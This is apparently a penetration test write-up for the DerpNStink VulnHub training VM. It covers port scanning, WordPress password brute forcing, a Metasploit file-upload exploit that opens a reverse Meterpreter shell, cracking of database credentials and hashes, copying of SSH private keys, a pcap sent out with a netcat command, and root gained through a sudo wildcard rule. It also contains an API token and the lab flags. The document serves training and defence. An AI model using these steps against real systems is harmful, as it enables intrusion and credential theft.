Penetration Test Report for   
VulnHub box “Derpnstink”

1. Summary

## **Scenario:**

Mr. Derp and Uncle Stinky are two system administrators who are starting their own company, DerpNStink. Instead of hiring qualified professionals to build up their IT landscape, they decided to hack together their own system which is almost ready to go live. This is a boot2root Ubuntu based virtual machine. It was tested on VMware Fusion and VMware Workstation12 using DHCP settings for its network interface. It was designed to model some of the earlier machines encountered during OSCP labs with a few additions.

## **Instructions:**

The assignment is to remotely attack the VM and find four hidden flags and eventually full root access.

**Synopsis**:

During this penetration test, I was tasked with exploiting the derpnstink server. The specific IP address was: 192.168.44.6. While performing the initial penetration tests, a vulnerability was identified on the target webserver. Exploiting this vulnerability, I was able to gain shell access to the server, through a vulnerable plugin (Arbitrary File Upload) installed in the WordPress CMS. During the testing, I was able to escalate privileges to root and successfully exploit the system, recovering all four flags. This report details how access was obtained and privileges escalated to root.

## **Recommendations**:

I recommend upgrading the Wordpress Slideshow-Gallery plugin to the current (1.7.2) version to ensure that an attacker cannot exploit this system in the future. A regular check for security patches and updates will help prevent this type of attack. Additionally, I recommend a review of password policies to implement a more secure password requirement for all users.

## 2. Service Enumeration

Using NMap, I conducted a TCP scan on all ports, discovering open ports on 21, 22 and 80

|  |
| --- |
| └─$ sudo nmap -vvv -Pn -sV -O -A -p- 192.168.44.6 -oA 192.168.44.6-out  Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.  Starting Nmap 7.91 ( [https://nmap.org](https://nmap.org/) ) at 2021-07-08 15:36 EDT  NSE: Loaded 153 scripts for scanning.  NSE: Script Pre-scanning.  NSE: Starting runlevel 1 (of 3) scan.  Initiating NSE at 15:36  Completed NSE at 15:36, 0.00s elapsed  NSE: Starting runlevel 2 (of 3) scan.  Initiating NSE at 15:36  Completed NSE at 15:36, 0.00s elapsed  NSE: Starting runlevel 3 (of 3) scan.  Initiating NSE at 15:36  Completed NSE at 15:36, 0.00s elapsed  Initiating ARP Ping Scan at 15:36  Scanning 192.168.44.6 [1 port]  Completed ARP Ping Scan at 15:36, 0.07s elapsed (1 total hosts)  Initiating Parallel DNS resolution of 1 host. at 15:36  Completed Parallel DNS resolution of 1 host. at 15:36, 0.03s elapsed  DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]  Initiating SYN Stealth Scan at 15:36  Scanning 192.168.44.6 [65535 ports]  Discovered open port 22/tcp on 192.168.44.6  Discovered open port 21/tcp on 192.168.44.6  Discovered open port 80/tcp on 192.168.44.6 |

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| 3. Penetration  Choosing port 80 to begin, I browsed to <http://192.168.44.6>; No obvious information in page.   |  | | --- | | Screenshot Here: |   Viewing source for the page reveals the first flag:  flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)  Added flag1 to proof.   |  | | --- | |  |   Also discovered is a reference to a file ‘info.txt’   |  | | --- | |  |   A review of /webnotes/info.txt has the following message :  @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live   |  | | --- | |  |   This gives us the hostname derpnstink, a possible user named 'stinky' and indicates a blog package is installed. I added derpnstink to /etc/hosts for simplicity. |
| Running Dirbuster, using the "medium" list confirms the blog software is WordPress. Also noticed is a file named /php/info.php     |  | | --- | |  |   Running wpscan against derpnstink gives the following output:  1 user named admin     |  | | --- | | └─$ wpscan --url <http://derpnstink.local/weblog> -e u --api-token s8jGTdtsy2eW0DLxrjayfKsShEism1rjDsHvWPj2IHk  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  \_\_ \_\_\_\_\_\_\_ \_\_\_\_\_  \ \ / / \_\_ \ / \_\_\_\_|  \ \ /\ / /| |\_\_) | (\_\_\_ \_\_\_ \_\_ \_ \_ \_\_ ®  \ \/ \/ / | \_\_\_/ \\_\_\_ \ / \_\_|/ \_` | '\_ \  \ /\ / | | \_\_\_\_) | (\_\_| (\_| | | | |  \/ \/ |\_| |\_\_\_\_\_/ \\_\_\_|\\_\_,\_|\_| |\_|    WordPress Security Scanner by the WPScan Team  Version 3.8.17  Sponsored by Automattic - <https://automattic.com/>  @\_WPScan\_, @ethicalhack3r, @erwan\_lr, @firefart  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  ….    [i] User(s) Identified:    [+] admin  | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)  | Confirmed By: Login Error Messages (Aggressive Detection)  … |   Running Wpscan to detect password for user admin finds Password:admin  Also reveals "slideshow-gallery" plugin is out of date.   |  | | --- | | └─$ wpscan --url [http://derpnstink.local/weblog -passwords /usr/share/wordlists/rockyou.txt](http://derpnstink.local/weblog%20-passwords%20/usr/share/wordlists/rockyou.txt) -usernames admin  [+] slideshow-gallery  | Location: <http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/>  | Last Updated: 2019-07-12T13:09:00.000Z  | [!] The version is out of date, the latest version is 1.6.12  |  | Found By: Urls In Homepage (Passive Detection)  |  | Version: 1.4.6 (100% confidence)  | Found By: Readme - Stable Tag (Aggressive Detection)  | - <http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt>  | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)  | - <http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt>    [+] Enumerating Config Backups (via Passive and Aggressive Methods)  Checking Config Backups - Time: 00:00:00 <================================================================> (137 / 137) 100.00% Time: 00:00:00    [i] No Config Backups Found.    [+] Performing password attack on Xmlrpc against 1 user/s  [SUCCESS] - admin / admin  Trying admin / admin Time: 00:08:08 < > (19820 / 14364212) 0.13% ETA: ??:??:??    [!] Valid Combinations Found:  | Username: admin, Password: admin |     Searching google for vulnerability for WordPress slideshow-gallery plugin leads to the following:  <https://www.exploit-db.com/exploits/34681>   |  | | --- | |  |   A searchsploit query provides a metasploit exploit for the vulnerability in the slideshow plugin for Wordpress     |  | | --- | | └─$ searchsploit wordpress plugin slideshow  ------------------------------------------------------------------------------------------------------------- ---------------------------------  Exploit Title | Path  ------------------------------------------------------------------------------------------------------------- ---------------------------------  WordPress Plugin 1-jquery-photo-gallery-Slideshow-flash 1.01 - Cross-Site Scripting | php/webapps/36382.txt  WordPress Plugin cnhk-Slideshow - Arbitrary File Upload | php/webapps/39190.php  WordPress Plugin CP Image Store with Slideshow 1.0.5 - Arbitrary File Download | php/webapps/37559.txt  WordPress Plugin Feature Slideshow 1.0.6 - 'src' Cross-Site Scripting | php/webapps/35285.txt  WordPress Plugin GB Gallery Slideshow - '/wp-admin/admin-ajax.php' SQL Injection | php/webapps/39282.txt  WordPress Plugin image Gallery with Slideshow 1.5 - Multiple Vulnerabilities | php/webapps/17761.txt  WordPress Plugin LB Mixed Slideshow - 'upload.php' Arbitrary File Upload | php/webapps/37418.php  WordPress Plugin SH Slideshow 3.1.4 - SQL Injection | php/webapps/17748.txt  WordPress Plugin Slideshow - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/37948.txt  WordPress Plugin Slideshow Gallery 1.1.x - 'border' Cross-Site Scripting | php/webapps/36631.txt  WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload | php/webapps/34514.txt    ------------------------------------------------------------------------------------------------------------- ------------------ |   Using Metasploit, I used the Arbitrary File Upload exploit to gain access to derpnstink.  Called msfconsole to run the Arbitrary File Upload exploit against vulnerable wp plugin. Set options for attack and exploited and acquired meterpreter shell.     |  | | --- | | └─$ sudo msfconsole  [sudo] password for kali:    …  msf6 > use exploit/unix/webapp/wp\_slideshowgallery\_upload  [\*] No payload configured, defaulting to php/meterpreter/reverse\_tcp  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > show options    Module options (exploit/unix/webapp/wp\_slideshowgallery\_upload):    Name Current Setting Required Description  ---- --------------- -------- -----------  Proxies no A proxy chain of format type:host:port[,type:hos  t:port][...]  RHOSTS yes The target host(s), range CIDR identifier, or ho  sts file with syntax '[file:<path>](file:///%3cpath%3e)'  RPORT 80 yes The target port (TCP)  SSL false no Negotiate SSL/TLS for outgoing connections  TARGETURI / yes The base path to the wordpress application  VHOST no HTTP server virtual host  WP\_PASSWORD yes Valid password for the provided username  WP\_USER yes A valid username      Payload options (php/meterpreter/reverse\_tcp):    Name Current Setting Required Description  ---- --------------- -------- -----------  LHOST 192.168.44.4 yes The listen address (an interface may be specified)  LPORT 4444 yes The listen port      Exploit target:    Id Name  -- ----  0 WP SlideShow Gallery 1.4.6      msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > set rhosts 192.168.44.6  rhosts => 192.168.44.6  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > set targeturi /weblog/  targeturi => /weblog/  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > set wp\_password admin  wp\_password => admin  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > set wp\_user admin  wp\_user => admin  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > set lhost 192.168.44.4  lhost => 192.168.44.4  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > set lport 1234  lport => 1234  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > exploit    [-] Handler failed to bind to 192.168.44.4:1234:- -  [-] Handler failed to bind to 0.0.0.0:1234:- -  [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:1234).  [\*] Exploit completed, but no session was created.  msf6 exploit(unix/webapp/wp\_slideshowgallery\_upload) > exploit    [\*] Started reverse TCP handler on 192.168.44.4:1234  [\*] Trying to login as admin  [\*] Trying to upload payload  [\*] Uploading payload  [\*] Calling uploaded file jsxdrsyy.php  [\*] Sending stage (39282 bytes) to 192.168.44.6  [+] Deleted jsxdrsyy.php  [\*] Meterpreter session 1 opened (192.168.44.4:1234 -> 192.168.44.6:35678) at 2021-07-12 11:03:11 -0400    meterpreter >  Checking user id confirms user: www-data    meterpreter > getuid  Server username: www-data (33) |     Checking wp-config for any interesting information reveals database credentials root:mysql     |  | | --- | | cat wp-config.php  <?php  /\*\*  \* The base configuration for WordPress  ...    // \*\* MySQL settings - You can get this info from your web host \*\* //  /\*\* The name of the database for WordPress \*/  define('DB\_NAME', 'wordpress');    /\*\* MySQL database username \*/  define('DB\_USER', 'root');    /\*\* MySQL database password \*/  define('DB\_PASSWORD', 'mysql'); |   Logging into phpmyadmin with root:mysql. Searching through file system uncovers 2nd flag in wp-posts under flag.txt  flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)   |  | | --- | |  |   Exploring the db; in the Users table, I find the admin user plus a user named "stinky" with the password hash: $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41     |  | | --- | |  |     I ran john the ripper against the recovered password hash (hash.txt) for user unclestinky and revealed password:wedgie57    ─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  Using default input encoding: UTF-8  Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])  Cost 1 (iteration count) is 8192 for all loaded hashes  Will run 4 OpenMP threads  Press 'q' or Ctrl-C to abort, almost any other key for status  wedgie57 (?)  1g 0:00:02:15 DONE (2021-07-12 12:02) 0.007400g/s 20694p/s 20694c/s 20694C/s wedner12..wedders1234  Use the "--show --format=phpass" options to display all of the cracked passwords reliably  Session completed    ┌──(kali㉿kali)-[~/redlegg/derp/john]  └─$ john --show hash.txt  ?:wedgie57  Su to discovered username:stinky with password:wedgie57 and cd to ~/… Listing the directory contents reveals Desktop/flag.txt which contains:  flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)   |  | | --- | | </html/weblog/wp-content/uploads/slideshow-gallery$ su stinky  su stinky  Password: wedgie57    stinky@DeRPnStiNK:/var/www/html/weblog/wp-content/uploads/slideshow-gallery$ cd  <html/weblog/wp-content/uploads/slideshow-gallery$ cd  stinky@DeRPnStiNK:~$ ls  ls  Desktop Documents Downloads ftp  stinky@DeRPnStiNK:~$ ls Desktop  flag.txt  stinky@DeRPnStiNK:~$ cat Desktop/flag.txt  flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb) |   Explored stinky directory and discovered private ssh key. Copied id\_rsa to local machine as stinky\_rsa for maintaining access via SSH. Using recovered private ssh key (stinky\_rsa), I was able to login as the user stinky via ssh to derpinstink.local.   |  | | --- | | └─$ ssh -i stinky\_rsa [stinky@derpnstink.local](mailto:stinky@derpnstink.local)  The authenticity of host 'derpnstink.local (192.168.44.6)' can't be established.  ECDSA key fingerprint is SHA256:qT1plVN18XwMzkU3qgKKZJAoPJC3+eZDxlrczLy3iCY.  Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  Warning: Permanently added 'derpnstink.local,192.168.44.6' (ECDSA) to the list of known hosts.  Ubuntu 14.04.5 LTS    ...    Last login: Mon Nov 13 00:31:29 2017 from 192.168.1.129  stinky@DeRPnStiNK:~$ |     Further exploration of files in the stinky directory reveals Documents/derpissues.pcap. I copied the pcap file to local machine for further investigation.   |  | | --- | | stinky@DeRPnStiNK:~$ cat Documents/derpissues.pcap | netcat 192.168.44.4 1234 |     Review of files in ftp directory reveals a file : derpissues.txt with a dialog exchange conaining the following reference to the pcap file:   |  | | --- | | stinky@DeRPnStiNK:~/ftp/files$ ls network-logs/  derpissues.txt  stinky@DeRPnStiNK:~/ftp/files$ cat network-logs/derpissues.txt  12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?  12:07 stinky: yeah. did you need a password reset?  12:07 mrderp: I think i accidently deleted my account  12:07 mrderp: i just need to logon once to make a change  12:07 stinky: im gonna packet capture so we can figure out whats going on  12:07 mrderp: that seems a bit overkill, but wtv  …. |   Using Wireshark to analyze the derpissues.pcap file recovered earlier reveals the following info for the user mrderp when user: stinky created the new user:  User:mrderp password:derpderpderpderpderpderpderp   |  | | --- | |  |   A quick attempt to check if these credentials had been reused shows the webapp password is the same as his login password. Attempting to su to user mrderp with these credentials recovered from pcap file is successful:   |  | | --- | | stinky@DeRPnStiNK:~/Documents$ su mrderp  Password:  mrderp@DeRPnStiNK:/home/stinky/Documents$  mrderp@DeRPnStiNK:/home/stinky/Documents$ whoami  mrderp | | |

3. Maintaining Access

I verified mrderp had ssh access then copied the mrderp id\_rsa key to my local machine as mrderp\_rsa and sshed in via creds as mrderp:

|  |
| --- |
| └─$ ssh -i mrderp\_rsa [mrderp@derpnstink.local](mailto:mrderp@derpnstink.local)  Ubuntu 14.04.5 LTS      ,~~~~~~~~~~~~~..  ' Derrrrrp N `  ,~~~~~~, | Stink |  / , \ ', \_\_\_\_\_\_\_\_ \_,"  /,~|\_\_\_\_\_\_\_\. \/  /~ (\_\_\_\_\_\_\_\_\_\_)  (\*) ; (^)(^)':  =; \_\_\_\_ ;  ; """" ;=  {"}\_ ' '""' ' \_{"}  \\_\_/ > < \\_\_/  \ ," ", /  \ " /"  " "=  > <  =" "-  -`. ,'  -  `--'    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @ WARNING: UNPROTECTED PRIVATE KEY FILE! @  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  Permissions 0644 for 'mrderp\_rsa' are too open.  It is required that your private key files are NOT accessible by others.  This private key will be ignored.  Load key "mrderp\_rsa": bad permissions  [mrderp@derpnstink.local's](mailto:mrderp@derpnstink.local's) password:  Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)    \* Documentation: <https://help.ubuntu.com/>    501 packages can be updated.  415 updates are security updates.    Last login: Mon Nov 13 01:03:13 2017 from 192.168.1.129  mrderp@DeRPnStiNK:~$ |

I now have stable access to the derpnstink machine and can begin to escalate to higher privileges. Checking user capability, I find reference to a nonexistent directory called binaries and a file called dirpy\*.

|  |
| --- |
| Checking user capability:  mrderp@DeRPnStiNK:~$ sudo -l  [sudo] password for mrderp:  Matching Defaults entries for mrderp on DeRPnStiNK:  env\_reset, mail\_badpass,  secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin    User mrderp may run the following commands on DeRPnStiNK:  (ALL) /home/mrderp/binaries/derpy\* |

User mrderp may run the following commands on DeRPnStiNK:

(ALL) /home/mrderp/binaries/derpy\*

Created "binaries" directory and simple shell script with "whoami" command to test. Executed derpy.sh returns "root".

|  |
| --- |
| mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh  [sudo] password for mrderp:  root |

Changed derpy.sh command to "/bin/bash". Executed script and received new shell as root.

|  |
| --- |
| mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh  root@DeRPnStiNK:~/binaries# id  uid=0(root) gid=0(root) groups=0(root)  root@DeRPnStiNK:~/binaries# cd  root@DeRPnStiNK:~# ls  binaries Desktop Documents Downloads  root@DeRPnStiNK:~# whoami  Root |

Exploring directories in root/Desktop reveals final flag:

flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)

|  |
| --- |
| root@DeRPnStiNK:~# ls /root  Desktop Documents Downloads  root@DeRPnStiNK:~# ls /root/Desktop/  flag.txt  root@DeRPnStiNK:~# cat /root/Desktop/flag.txt  flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)    Congrats on rooting my first VulnOS! |

Running uname and hostname to verify machine identity.

|  |
| --- |
| root@DeRPnStiNK:~# uname -a  Linux DeRPnStiNK 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux  root@DeRPnStiNK:~# hostname  DeRPnStiNK  root@DeRPnStiNK:~# whoami  Root |

4. Proof

Output from uname –a, hostname and whoami to show root status

|  |
| --- |
| root@DeRPnStiNK:~# uname -a  Linux DeRPnStiNK 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux  root@DeRPnStiNK:~# hostname  DeRPnStiNK  root@DeRPnStiNK:~# whoami  Root |

Flags (4) collected

|  |
| --- |
| Flag 1: flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)  Flag 2: flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)  Flag 3: flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)  Flag 4: flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd) |